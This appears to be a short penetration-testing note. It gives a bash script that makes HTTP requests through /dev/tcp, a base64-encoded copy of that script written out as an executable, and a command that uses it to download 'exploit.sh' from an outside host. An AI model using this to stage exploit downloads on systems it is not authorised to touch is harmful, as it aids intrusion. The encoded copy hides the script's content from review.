Skip to content

curlx.sh

curlx.sh


read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80

exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
echo "cmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgpleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKKHdoaWxlIHJlYWQgbGluZTsgZG8KW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawpkb25lICYmIGNhdCkgPCYzCmV4ZWMgMz4mLQ==" | base64 --decode > _curl.sh && chmod +x _curl.sh

Run


_curl.sh michalszalkowski.com/exploit.sh > exploit.sh